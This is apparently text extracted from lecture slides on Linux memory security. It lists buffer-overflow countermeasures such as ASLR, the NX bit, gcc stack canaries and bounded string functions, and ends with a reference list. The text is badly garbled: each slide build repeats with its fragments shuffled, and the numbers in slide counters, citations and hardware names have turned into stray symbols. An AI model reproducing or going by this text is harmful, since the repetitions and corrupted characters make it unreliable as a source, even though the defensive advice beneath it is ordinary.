Available on AMD†„, check BIOS settings Compiler / gcc

Security concerns Countermeasures OS / Linux Address Space Layout Randomization ( ASLR ) changes section locations randomly each program run Most often enabled by default Check /proc/sys/kernel/randomize_va_space NX Bit prevents execution of writeable sections

€ / ƒ gcc’s stack protector ( -fstack-protector ) inserts randomly chosen magic values ( so-called canaries ) into function stack frames Enabled by default gcc marks stack sections as not-executable by default, OS support required Enabled by default, check using execstack

Compiler / gcc

Security concerns Countermeasures OS / Linux Address Space Layout Randomization ( ASLR ) changes section locations randomly each program run Most often enabled by default Check /proc/sys/kernel/randomize_va_space NX Bit prevents execution of writeable sections Available on AMD†„, check BIOS settings

€ / ƒ gcc’s stack protector ( -fstack-protector ) inserts randomly chosen magic values ( so-called canaries ) into function stack frames Enabled by default gcc marks stack sections as not-executable by default, OS support required Enabled by default, check using execstack

Security concerns Countermeasures OS / Linux Address Space Layout Randomization ( ASLR ) changes section locations randomly each program run Most often enabled by default Check /proc/sys/kernel/randomize_va_space NX Bit prevents execution of writeable sections Available on AMD†„, check BIOS settings Compiler / gcc

€ / ƒ Enabled by default gcc marks stack sections as not-executable by default, OS support required Enabled by default, check using execstack

Security concerns Countermeasures OS / Linux Address Space Layout Randomization ( ASLR ) changes section locations randomly each program run Most often enabled by default Check /proc/sys/kernel/randomize_va_space NX Bit prevents execution of writeable sections Available on AMD†„, check BIOS settings Compiler / gcc gcc’s stack protector ( -fstack-protector ) inserts randomly chosen magic values ( so-called canaries ) into function stack frames

€ / ƒ gcc marks stack sections as not-executable by default, OS support required Enabled by default, check using execstack

Security concerns Countermeasures OS / Linux Address Space Layout Randomization ( ASLR ) changes section locations randomly each program run Most often enabled by default Check /proc/sys/kernel/randomize_va_space NX Bit prevents execution of writeable sections Available on AMD†„, check BIOS settings Compiler / gcc gcc’s stack protector ( -fstack-protector ) inserts randomly chosen magic values ( so-called canaries ) into function stack frames Enabled by default

€ / ƒ Enabled by default, check using execstack

Security concerns Countermeasures OS / Linux Address Space Layout Randomization ( ASLR ) changes section locations randomly each program run Most often enabled by default Check /proc/sys/kernel/randomize_va_space NX Bit prevents execution of writeable sections Available on AMD†„, check BIOS settings Compiler / gcc gcc’s stack protector ( -fstack-protector ) inserts randomly chosen magic values ( so-called canaries ) into function stack frames Enabled by default gcc marks stack sections as not-executable by default, OS support required

€ / ƒ Security concerns Countermeasures OS / Linux Address Space Layout Randomization ( ASLR ) changes section locations randomly each program run Most often enabled by default Check /proc/sys/kernel/randomize_va_space NX Bit prevents execution of writeable sections Available on AMD†„, check BIOS settings Compiler / gcc gcc’s stack protector ( -fstack-protector ) inserts randomly chosen magic values ( so-called canaries ) into function stack frames Enabled by default gcc marks stack sections as not-executable by default, OS support required Enabled by default, check using execstack

€ / ƒ strcpy strcat sprintf vsprintf gets ...

strncpy strncat snprintf fgets ...

Avoid functions missing boundary checks such as

Instead use less insecure variants

There is no such thing as unbreakable security

Security concerns Countermeasures Your code

 / ƒ strncpy strncat snprintf fgets ...

strcpy strcat sprintf vsprintf gets ... Instead use less insecure variants

There is no such thing as unbreakable security

Security concerns Countermeasures Your code Avoid functions missing boundary checks such as

 / ƒ strncpy strncat snprintf fgets ...

strcat sprintf vsprintf gets ... Instead use less insecure variants

There is no such thing as unbreakable security

Security concerns Countermeasures Your code Avoid functions missing boundary checks such as strcpy

 / ƒ strncpy strncat snprintf fgets ...

sprintf vsprintf gets ... Instead use less insecure variants

There is no such thing as unbreakable security

Security concerns Countermeasures Your code Avoid functions missing boundary checks such as strcpy strcat

 / ƒ strncpy strncat snprintf fgets ...

vsprintf gets ... Instead use less insecure variants

There is no such thing as unbreakable security

Security concerns Countermeasures Your code Avoid functions missing boundary checks such as strcpy strcat sprintf

 / ƒ strncpy strncat snprintf fgets ...

gets ... Instead use less insecure variants

There is no such thing as unbreakable security

Security concerns Countermeasures Your code Avoid functions missing boundary checks such as strcpy strcat sprintf vsprintf

 / ƒ strncpy strncat snprintf fgets ...

Instead use less insecure variants

There is no such thing as unbreakable security

Security concerns Countermeasures Your code Avoid functions missing boundary checks such as strcpy strcat sprintf vsprintf gets ...

 / ƒ strncpy strncat snprintf fgets ... There is no such thing as unbreakable security

Security concerns Countermeasures Your code Avoid functions missing boundary checks such as strcpy strcat sprintf vsprintf gets ... Instead use less insecure variants

 / ƒ strncat snprintf fgets ... There is no such thing as unbreakable security

Security concerns Countermeasures Your code Avoid functions missing boundary checks such as strcpy strcat sprintf vsprintf gets ... Instead use less insecure variants strncpy

 / ƒ snprintf fgets ... There is no such thing as unbreakable security

Security concerns Countermeasures Your code Avoid functions missing boundary checks such as strcpy strcat sprintf vsprintf gets ... Instead use less insecure variants strncpy strncat

 / ƒ fgets ... There is no such thing as unbreakable security

Security concerns Countermeasures Your code Avoid functions missing boundary checks such as strcpy strcat sprintf vsprintf gets ... Instead use less insecure variants strncpy strncat snprintf

 / ƒ There is no such thing as unbreakable security

Security concerns Countermeasures Your code Avoid functions missing boundary checks such as strcpy strcat sprintf vsprintf gets ... Instead use less insecure variants strncpy strncat snprintf fgets ...

 / ƒ Security concerns Countermeasures Your code Avoid functions missing boundary checks such as strcpy strcat sprintf vsprintf gets ... Instead use less insecure variants strncpy strncat snprintf fgets ... There is no such thing as unbreakable security

 / ƒ Literature [] Glib memory slice allocator. http://developer.gnome.org/glib/2.30/glib-Memory-Slices.html. [‚] Tcmalloc : Thread-caching malloc. http://goog-perftools.sourceforge.net/doc/tcmalloc.html. [ƒ] Jeff Bonwick. The slab allocator: An object-caching kernel memory allocator. In , pages ˆ‡–‰ˆ, ‰‰„. USENIX Summer [„] Jason Evans. A scalable concurrent malloc(ƒ) implementation for . http://www.canonware.com/jemalloc, ‚€€†. [ ] Doug Lea. dlmalloc. http://g.oswego.edu/dl/html/malloc.html. [†] Elias "Aleph One" Levy. Smashing the stack for fun and profit. , ‡(„‰), Phrack November ‰‰†. [‡] Jeffrey A. Turkstra. Buffer overflows and you. http://turkeyland.net/projects/overflow/. [ˆ] Qin Zhao, Rodric Rabbah, and Weng-Fai Wong. Dynamic memory optimization using pool allocation and prefetching. SIGARCH Comput. Archit. , ƒƒ( ):‚‡–ƒ‚, December ‚€€ . News ‚ / ƒ Discussion

Sections Static allocation Mapping Dynamic allocation Privileges malloc Heap Slices Stack Security

Any questions?

ƒ / ƒ